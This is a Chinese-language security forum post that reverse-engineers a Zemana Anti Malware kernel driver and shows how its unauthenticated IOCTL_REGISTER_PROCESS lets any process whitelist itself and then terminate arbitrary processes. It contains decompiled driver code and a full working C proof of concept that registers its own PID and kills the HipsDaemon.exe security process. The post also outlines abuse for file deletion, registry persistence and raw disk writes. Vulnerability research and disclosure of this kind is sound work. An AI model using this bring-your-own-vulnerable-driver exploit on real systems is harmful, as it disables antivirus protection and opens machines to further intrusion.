首页
社区
课程
招聘
[原创]一个漏洞驱动利用以结束杀软进程
发表于: 3天前 699

[原创]一个漏洞驱动利用以结束杀软进程

3天前
699

一个漏洞驱动利用

写这篇文章主要是探讨一下恶意软件如何构造恶意IOCTL以结束杀毒软件进程,实现BYOVD

漏洞驱动总体评估

Zemana Anti Malware 是一款第三方反恶意软件产品,其内核驱动负责提供底层系统防护功能,包括进程保护、注册表监控、文件访问拦截等。然而,经过逆向分析发现,该驱动在实现用户态与内核态通信(IOCTL)时存在严重的安全缺陷:关键 IOCTL 缺乏调用者身份验证,导致任意进程均可注册自身为“可信”进程,进而滥用驱动提供的特权操作(如终止任意进程、读写磁盘、修改注册表等)。该漏洞属于典型的内核权限提升漏洞(Elevation of Privilege, EoP),攻击者可利用其完全瓦解系统的安全防御。

本报告详细分析该漏洞的技术细节、影响范围及修复方案,旨在帮助安全社区理解风险并推动厂商及时修复。

驱动概述

Zemana 驱动在系统启动时加载,创建一个名为 \Device\ZemanaAntiMalware 的设备对象,并设置符号链接 \DosDevices\ZemanaAntiMalware(用户态可通过 \.\ZemanaAntiMalware 访问)。驱动通过 IRP 主功能代码 IRP_MJ_DEVICE_CONTROL 处理来自用户态的各种控制请求(IOCTL),实现反恶意软件的核心功能。


逆向分析表明,驱动支持数十种 IOCTL 功能,覆盖以下类别:

1
2
3
4
进程/线程操作:终止进程、打开进程、打开线程、枚举进程等。
文件/注册表操作:删除文件、创建/删除注册表键值、查询目录文件等。
内核保护功能:修复关键内核函数、检查驱动分发例程、启用/禁用实时保护(RT)、启用/禁用 ZAM Guard 等。
其他功能:获取内核映像信息、SCSI 读写、发送系统信息等。

这是漏洞驱动的一些信息

漏洞细节分析

驱动入口点

通过逆向分析,我们可以发现驱动注册了符号链接,这给三环的访问提供了便利

DeviceIoControlHandler

漏洞的核心存在于驱动处理 IOCTL 请求的权限检查逻辑中。通过逆向 DeviceIoControlHandler 函数,提取出以下关键的权限验证流程(已简化为伪代码)

1
2
3
4
5
6
7
8
9
10
11
NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    ULONG ioControlCode = IoGetCurrentIrpStackLocation(Irp)->Parameters.DeviceIoControl.IoControlCode;
    HANDLE currentProcessId = PsGetCurrentProcessId();
 
    // 权限检查函数
    if (!IsIoctlAllowed(ioControlCode, currentProcessId)) {
        return STATUS_ACCESS_DENIED;
    }
 
    // 根据 ioControlCode 分发处理...
}

这是复原的原DeviceIoControlHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
// 设备I/O控制分发例程
NTSTATUS DeviceIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    NTSTATUS            status = STATUS_INVALID_PARAMETER;
    PIO_STACK_LOCATION  irpSp;
    ULONG               ioControlCode;
    ULONG               inputBufferLength;
    ULONG               outputBufferLength;
    PVOID               systemBuffer;
    ULONG               returnedInformation = 0;
    HANDLE              currentProcessId;
    ULONG               flags;
    ULONG               someGlobalFlag;
 
    // 获取当前进程ID
    currentProcessId = PsGetCurrentProcessId();
 
    // 获取当前I/O堆栈位置
    irpSp = IoGetCurrentIrpStackLocation(Irp);
    if (irpSp == NULL)
    {
        ZmnDbgPrint(7, "Main.c", 455, "DeviceIoControlHandler", STATUS_INVALID_PARAMETER,
                    "IO Stack Location is NULL");
        status = STATUS_INVALID_PARAMETER;
        goto CompleteRequest;
    }
 
    // 提取IRP中的常用字段
    flags = irpSp->Flags;
    systemBuffer = Irp->AssociatedIrp.SystemBuffer;
    inputBufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
    ioControlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
 
    // 权限检查(IOCTL_REGISTER_PROCESS 绕过检查)
    if (!IsIoctlAllowed(ioControlCode, currentProcessId))
    {
        status = STATUS_ACCESS_DENIED;
        ZmnDbgPrint(7, "Main.c", 482, "DeviceIoControlHandler", STATUS_ACCESS_DENIED,
                    "ProcessID %d is not authorized to send IOCTLs ", currentProcessId);
        goto CompleteRequest;
    }
 
    // 根据IOCTL代码分发处理
    switch (ioControlCode)
    {
        // ----- 0x80002000 范围 -----
    ...略
    case IOCTL_REGISTER_PROCESS:                 // 0x80002010
        ZmnDbgPrint(1, "Main.c", 520, "DeviceIoControlHandler", 0,
                    "IOCTL_REGISTER_PROCESS");
        status = sub_1400102CC(systemBuffer);
        break;
 
    ···略
 
    case IOCTL_TERMINATE_PROCESS:                 // 0x80002048
        ZmnDbgPrint(1, "Main.c", 645, "DeviceIoControlHandler", 0,
                    "IOCTL_TERMINATE_PROCESS");
        status = ZmnFullPhTerminateProcessById((ULONG_PTR)systemBuffer);
        returnedInformation = status; 
        break;
 
    ···略
    default:
        // 未知IOCTL
        ZmnDbgPrint(7, "Main.c", 780, "DeviceIoControlHandler",
                    STATUS_INVALID_DEVICE_REQUEST,
                    "Unknown IOCTL code provided 0x%X", ioControlCode);
        status = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }
 
CompleteRequest:
    // 设置IRP完成状态和信息
    Irp->IoStatus.Status = status;
    Irp->IoStatus.Information = returnedInformation;
 
    ZmnDbgPrint(1, "Main.c", 789, "DeviceIoControlHandler", 0,
                "Response size %d", returnedInformation);
 
    IofCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}
 
 
BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId)
{
    // 特殊情况:注册进程的IOCTL总是允许
    if (IoControlCode == IOCTL_REGISTER_PROCESS)
        return TRUE;
 
    LONG adjustedCode = IoControlCode + 2147475372// 相当于 IoControlCode - 0x80002010
    if (adjustedCode <= 0x10)
    {
        // 在范围内,进一步检查位图
        __int64 bitMap = 69633// 位图值,二进制 10001000000000001? 需要按位测试
        // _bittest 测试 (bitMap) 的第 adjustedCode 位
        if (_bittest((const LONG*)&bitMap, adjustedCode))
            return TRUE;  // 位被设置,允许
    }
 
    // 默认需要检查进程是否已注册
    if (sub_140009BD8(SomeParameter, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId))
        return FALSE;   // 未注册且未通过安全检查,拒绝
 
    return TRUE;  // 所有检查通过
}

有问题的IsIoctlAllowed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
BOOLEAN IsIoctlAllowed(ULONG IoControlCode, HANDLE ProcessId) {
    // 漏洞点:IOCTL_REGISTER_PROCESS 永远允许
    if (IoControlCode == IOCTL_REGISTER_PROCESS)  // 0x80002010
        return TRUE;
 
    // 位图检查:部分 IOCTL 即使未注册也可使用
    LONG adjustedCode = IoControlCode + 2147475372// 等效于 IoControlCode - 0x80002010
    if (adjustedCode <= 0x10) {
        __int64 bitMap = 69633// 位图 10001000000000001,位012161
        if (_bittest((LONG*)&bitMap, adjustedCode))
            return TRUE;
    }
 
    // 一般情况:需安全检查开启且进程已注册
    if (sub_140009BD8(69633, "Main.c") && !ZmnAuthIsRegisteredProcessId(ProcessId))
        return FALSE;
 
    return TRUE;
}

IsIoctlAllowed 函数可知,以下 IOCTL 在任何情况下都被允许,无需检查进程是否已注册:

  • IOCTL_REGISTER_PROCESS (0x80002010) —— 直接返回 TRUE。
  • IOCTL_GET_DRIVER_PROTOCOL (0x80002054) —— 位0
  • IOCTL_ENABLE_ZAM_GUARD (0x80002060) —— 位12
  • IOCTL_DISABLE_ZAM_GUARD (0x80002064) —— 位16

其中,IOCTL_REGISTER_PROCESS 的功能是将指定的进程 ID 注册为“可信”进程,一旦注册成功,该进程便可调用其他受保护的 IOCTL(如终止进程、修改注册表等)。然而,该 IOCTL 本身没有任何调用者身份验证,导致任意进程均可通过它将自己加入白名单。

ZmnAuthRegisterProcess

处理 IOCTL_REGISTER_PROCESS 的子函数为 ZmnAuthRegisterProcess,其实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
NTSTATUS ZmnpAuthRegisterProcess(ULONG PID) {
    if (!g_AuthManagerInitialized) return STATUS_INVALID_PARAMETER;
 
    if (ZmnAuthIsRegisteredProcessId(PID)) {
        // 已注册则直接返回成功
        return STATUS_SUCCESS;
    }
 
    PEPROCESS Eprocess;
    NTSTATUS status = PsLookupProcessByProcessId((HANDLE)PID, &Eprocess);
    if (!NT_SUCCESS(status)) {
        return status;
    }
 
    PCHAR imageName = PsGetProcessImageFileName(Eprocess);
    if (!imageName) {
        ObDereferenceObject(Eprocess);
        return STATUS_UNSUCCESSFUL;
    }
 
    // 在内部注册表中找到一个空闲槽位,存储 PID、会话ID、进程名
    KeAcquireSpinLock(&g_RegistrationLock);
    // ... 查找空闲槽位并存储信息
    KeReleaseSpinLock(&g_RegistrationLock);
 
    ObDereferenceObject(Eprocess);
    return STATUS_SUCCESS;
}

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
__int64 __fastcall ZmnpAuthRegisterProcess(int PID)
{
  int st; // ebx
  __int64 processId; // rdi
  __int64 ProcessImageFileName; // r14
  char v4; // r15
  _DWORD *v5; // rcx
  int v6; // esi
  __int64 v7; // rbp
  __int64 v8; // rbx
  const char *v9; // rbx
  __int64 v10; // rdx
  __int64 Eprocess; // [rsp+78h] [rbp+10h] BYREF
 
  Eprocess = 0LL;
  st = -1073741823;
  processId = (unsigned int)PID;
  if ( !isAuthManagerRegistered )
  {
    ZmnDbgPrint(
      5,
      (__int64)"Authentication\\AuthenticationManager.c",
      246,
      "ZmnAuthRegisterProcess",
      0,
      (__int64)"Authentication Manager is not initialized");
    goto LABEL_20;
  }
  if ( (unsigned int)ZmnAuthIsRegisteredProcessId(PID) )
  {
    ZmnDbgPrint(
      1,
      (__int64)"Authentication\\AuthenticationManager.c",
      256,
      "ZmnAuthRegisterProcess",
      0,
      (__int64)"%d is already registered",
      processId);
LABEL_19:
    st = 0;
    goto LABEL_20;
  }
  st = PsLookupProcessByProcessId(processId, &Eprocess);
  if ( st >= 0 )
  {
    ProcessImageFileName = PsGetProcessImageFileName(Eprocess);
    if ( !ProcessImageFileName )
    {
      ZmnDbgPrint(
        7,
        (__int64)"Authentication\\AuthenticationManager.c",
        282,
        "ZmnAuthRegisterProcess",
        -1073741823,
        (__int64)"Can not get process name for pid %d",
        processId);
      goto LABEL_20;
    }
    v4 = KeAcquireSpinLockRaiseToDpc(&qword_14002EC20);
    v5 = &unk_14002EC34;
    v6 = 0;
    dword_14002EC28 = (dword_14002EC28 + 1) % 0x64uLL;
    while ( 1 )
    {
      v7 = -1LL;
      if ( !*v5 )
        break;
      ++v6;
      v5 += 608;
      if ( (unsigned __int64)v6 >= 0x64 )
        goto LABEL_15;
    }
    if ( v6 != -1 )
      goto LABEL_16;
LABEL_15:
    v6 = 0;
LABEL_16:
    v8 = 608LL * v6;
    dword_14002EBE0[v8 + 20] = PsGetProcessSessionId(Eprocess);
    dword_14002EBE0[v8 + 21] = processId;
    v9 = (const char *)&dword_14002EBE0[v8 + 22];
    do
      ++v7;
    while ( *(_BYTE *)(ProcessImageFileName + v7) );
    sub_1400011A0(v9, ProcessImageFileName, v7 + 1);
    LOBYTE(v10) = v4;
    KeReleaseSpinLock(&qword_14002EC20, v10);
    ZmnDbgPrint(
      1,
      (__int64)"Authentication\\AuthenticationManager.c",
      339,
      "ZmnAuthRegisterProcess",
      0,
      (__int64)"ProcessID %d ProcessName %s registered to #%d slot / total %d",
      processId,
      v9,
      v6,
      dword_14002EC28);
    goto LABEL_19;
  }
  ZmnDbgPrint(
    7,
    (__int64)"Authentication\\AuthenticationManager.c",
    270,
    "ZmnAuthRegisterProcess",
    st,
    (__int64)"Can not lookup process by id %d",
    processId);
LABEL_20:
  if ( Eprocess )
    ObfDereferenceObject();
  return (unsigned int)st;
}

该函数的关键缺陷:

  • 接受任意 PIDPID 参数直接来自用户输入的缓冲区,驱动未验证该 PID 是否与调用者相关。攻击者可传入自己的进程 ID,或任意其他进程 ID(如杀软进程本身)。
  • 无调用者身份验证:函数未检查调用者是否具有 SeTcbPrivilege 特权,也未验证调用者是否以 SYSTEM 身份运行。任何用户态程序(包括低权限恶意软件)均可调用此 IOCTL。
  • 成功即永久注册:一旦注册,该 PID 便被加入内部白名单,此后该进程发起的其他 IOCTL 请求(如终止进程)将被允许。

注册后权限绕过

一旦恶意进程通过 IOCTL_REGISTER_PROCESS 成功注册,它便可以调用任何受保护的 IOCTL。例如,IOCTL_TERMINATE_PROCESS (0x80002048) 的实现如下(伪代码):

1
2
3
4
case IOCTL_TERMINATE_PROCESS:
    status = ZmnFullPhTerminateProcessById((ULONG_PTR)Irp>AssociatedIrp.SystemBuffer);
    Parameters = status; 
    break;

该函数接收一个进程 ID(从系统缓冲区中直接取出),并调用内核函数终止该进程。由于调用者已经注册,权限检查通过,任何进程(包括系统关键进程、杀软自身)都可被恶意终止。同样,其他高危 IOCTL 如 IOCTL_DELETE_FILEIOCTL_CREATE_KEYIOCTL_SCSI_WRITE 等均可被滥用,造成灾难性后果。

攻击流程

  1. 打开驱动设备:通过符号链接 \\.\ZemanaAntiMalware 打开设备句柄。
  2. 注册自身进程:调用 DeviceIoControl,使用 IOCTL 码 0x80002010,输入缓冲区为当前进程 ID。驱动无条件执行注册,将攻击者进程加入白名单。
  3. 执行特权操作:注册成功后,攻击者可以调用任意其他 IOCTL。例如:
    • 终止杀软进程:使用 IOCTL_TERMINATE_PROCESS 传入杀软主进程 PID,使其退出,从而关闭实时防护。
    • 删除关键文件:使用 IOCTL_DELETE_FILE 删除系统文件或杀软组件。
    • 修改注册表启动项:使用 IOCTL_CREATE_KEY / IOCTL_DELETE_VALUE 实现持久化。
    • 读取或写入磁盘:使用 IOCTL_SCSI_READ / IOCTL_SCSI_WRITE 绕过文件系统直接操作磁盘,隐藏恶意数据。

以下为PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#include <windows.h>
#include <stdio.h>
#include<TlHelp32.h>
 
#define IOCTL_REGISTER_PROCESS   0x80002010 
#define IOCTL_TERMINATE_PROCESS   0x80002048 
 
DWORD GetProcessIdByName(const char* processName) {
    DWORD pid = 0;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }
 
    int wideLen = MultiByteToWideChar(CP_ACP, 0, processName, -1, NULL, 0);
    if (wideLen == 0) {
        CloseHandle(hSnapshot);
        return 0;
    }
 
    WCHAR* wideProcessName = (WCHAR*)malloc(wideLen * sizeof(WCHAR));
    if (wideProcessName == NULL) {
        CloseHandle(hSnapshot);
        return 0;
    }
 
    MultiByteToWideChar(CP_ACP, 0, processName, -1, wideProcessName, wideLen);
 
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
 
    if (Process32First(hSnapshot, &pe)) {
        do {
            if (wcscmp(pe.szExeFile, wideProcessName) == 0) {
                pid = pe.th32ProcessID;
                break;         
            }
        } while (Process32Next(hSnapshot, &pe));
    }
 
    free(wideProcessName);
    CloseHandle(hSnapshot);
    return pid;
}
 
 
HANDLE OpenDriverDevice(const char* devicePath) {
    HANDLE hDevice = CreateFileA(
        devicePath,
        GENERIC_READ | GENERIC_WRITE,
        0,                   
        NULL,                
        OPEN_EXISTING,
        0,                   
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[!] Failed to open device: %lu\n", GetLastError());
    }
    return hDevice;
}
 
int main() {
     
    HANDLE hDevice = OpenDriverDevice("\\\\.\\ZemanaAntiMalware");
    if (hDevice == INVALID_HANDLE_VALUE) {
        
            printf("[!] Cannot open driver device. Exiting.\n");
    }
 
    DWORD myPid = GetCurrentProcessId();
    DWORD bytesReturned = 0;
 
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_REGISTER_PROCESS,
        &myPid,             
        sizeof(myPid),
        NULL,               
        0,
        &bytesReturned,
        NULL
    );
 
    if (!result) {
        printf("[!] Register process failed: %lu\n", GetLastError());
        CloseHandle(hDevice);
    }
    printf("[+] Process %lu registered successfully.\n", myPid);
 
     
    DWORD targetPid = GetProcessIdByName("HipsDaemon.exe");
    if (targetPid == 0) {
        printf("[!] Cannot find Process:HipsDaemon.exe,Check it.");
    }
    printf("[+] Process HipsDaemon.exe pid is:%lu\n", targetPid);
    result = DeviceIoControl(
        hDevice,
        IOCTL_TERMINATE_PROCESS,
        &targetPid,         
        sizeof(targetPid),
        NULL,
        0,
        &bytesReturned,
        NULL
    );
 
    if (!result) {
        printf("[!] Terminate process failed: %lu\n", GetLastError());
    }
    else {
        printf("[+] Process %lu terminated successfully.\n", targetPid);
    }
 
    CloseHandle(hDevice);
    getchar();
    return 0;
}

成功执行后杀软进程被终止,系统失去防护。

结论

Zemana Anti Malware 内核驱动中的 IOCTL_REGISTER_PROCESS 缺少调用者身份验证,是内核权限提升漏洞(CWE-306)。攻击者可利用此漏洞轻松注册自身进程,进而调用其他高危 IOCTL,完全瓦解系统安全防护。


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回